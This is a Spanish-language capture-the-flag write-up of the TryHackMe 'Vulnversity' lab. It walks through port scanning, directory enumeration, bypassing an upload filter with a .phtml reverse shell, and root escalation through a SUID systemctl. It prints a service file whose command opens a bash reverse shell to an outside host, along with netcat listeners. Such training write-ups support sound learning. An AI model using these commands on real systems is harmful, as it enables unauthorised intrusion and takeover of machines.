Vulnversity [TryHackMe]

2023-08-26

Introducción

Vulnversity es la primera máquina a vulnerar del learning path “Offensive Pentesting” de TryHackMe. Es una sala sencilla que sirve para practicar los fundamentos vistos durante el path de “Jr Penetration Tester”. El objetivo principal era identificar vulnerabilidades y puntos de entrada en el sistema a partir de una aplicación web, así como realizar una escalada de privilegios para obtener acceso root.

Recopilación de Información (Reconocimiento)

Comienzo con un escaneo de puertos utilizando Nmap para enumerar los servicios en la máquina:

nmap -sS -p- -T4 -oN nmap_scan 10.10.71.251

Los resultados muestran varios puertos abiertos, incluidos el 21 (FTP), 22 (SSH), 139 (NetBIOS-SSN), 445 (Microsoft-DS), 3128 (Squid HTTP Proxy) y 3333 (HTTP).

Enumeración Web

Escaneo de Directorios con Gobuster

Hago un escaneo de directorios en el servidor web que se ejecuta en el puerto 3333. Uso Gobuster con la lista de directorios predeterminada:

gobuster dir -u http://10.10.71.251:3333 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt

El escaneo encuentra un directorio llamado /internal.

Explotación de la Vulnerabilidad

Mi siguiente paso es intentar subir un archivo PHP como shell inversa, pero me encuentro con restricciones en la extensión del archivo. Preparo una lista de extensiones PHP y uso Burp Suite para realizar un ataque “sniper” desde el módulo Repeater.

Burp Suite

Reviso los resultados de Repeater y compruebo que la extensión .phtml permite eludir la comprobación de extensiones de archivos. Subo un archivo llamado revere-shell.phtml que contiene el código para ejecutar una shell inversa.

Obtención de Acceso

Para obtener acceso, abro un listener con Netcat:

nc -lvnp 1234

Luego, para estabilizar la shell y mejorar su funcionalidad, ejecuté el comando:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Además, configuro la variable de entorno TERM para xterm con:

export TERM=xterm

De esta forma, puedo usar comandos como clear y Ctrl + C en la shell.

Escalada de Privilegios

Enumeración de Usuarios

Mientras exploro el sistema vulnerado, encuentro un usuario llamado “bill” en el directorio /home.

Búsqueda de Binarios SUID

Luego, usando el comando find, me pongo a buscar binarios con el bit SUID y SGID habilitados:

find / -type f -perm -u=s -o -type f -perm -g=s 2>/dev/null

Me llama la atención el binario /bin/systemctl, que tiene el bit SUID habilitado.

Escalada de Privilegios con systemctl

Investigo /bin/systemctl en GTFOBins y encuentro una forma de escalada de privilegios para systemctl . El ejemplo de GTFOBins es el siguiente:

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF

Obtención de una Shell de Root

Para obtener una shell de root, modifico el archivo de servicio temporal (*.service) vinculado a /bin/systemctl para ejecutar un shell inverso como root. Aquí está la configuración del archivo de servicio:

[Service]
Type=oneshot
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.14.50.184/4444 0>&1"
[Install]
WantedBy=multi-user.target

Reinicio el servicio temporal:

/bin/systemctl systemctl link $TF

En mi máquina local, configuro un listener en el puerto 4444:

nc -lvnp 4444

Y por ultimo activo el servicio temporal para que se ejecute ahora:

/bin/systemctl enable $TF --now

Una vez reiniciado el servicio temporal en la máquina objetivo, obtengo una shell de root en mi máquina.

Conclusión

Vulnversity es una máquina idónea para principiantes, ya que permite practicar y aplicar conceptos fundamentales que serán muy útiles en posteriores máquinas del learning path “Offensive Pentesting”:

  • Enumeración de servicios y puertos mediante herramientas como Nmap.
  • Escaneo de directorios en un servidor web utilizando Gobuster.
  • Explotación de vulnerabilidades, como restricciones en la extensión de archivos, para cargar archivos maliciosos.
  • Obtención de acceso a través de una shell inversa y mejora de la funcionalidad de la shell.
  • Escalada de privilegios mediante la identificación de binarios SUID y SGID.
  • Uso de GTFOBins para abusar de binarios con permisos elevados.

(◕‿‿◕) Hack the planet!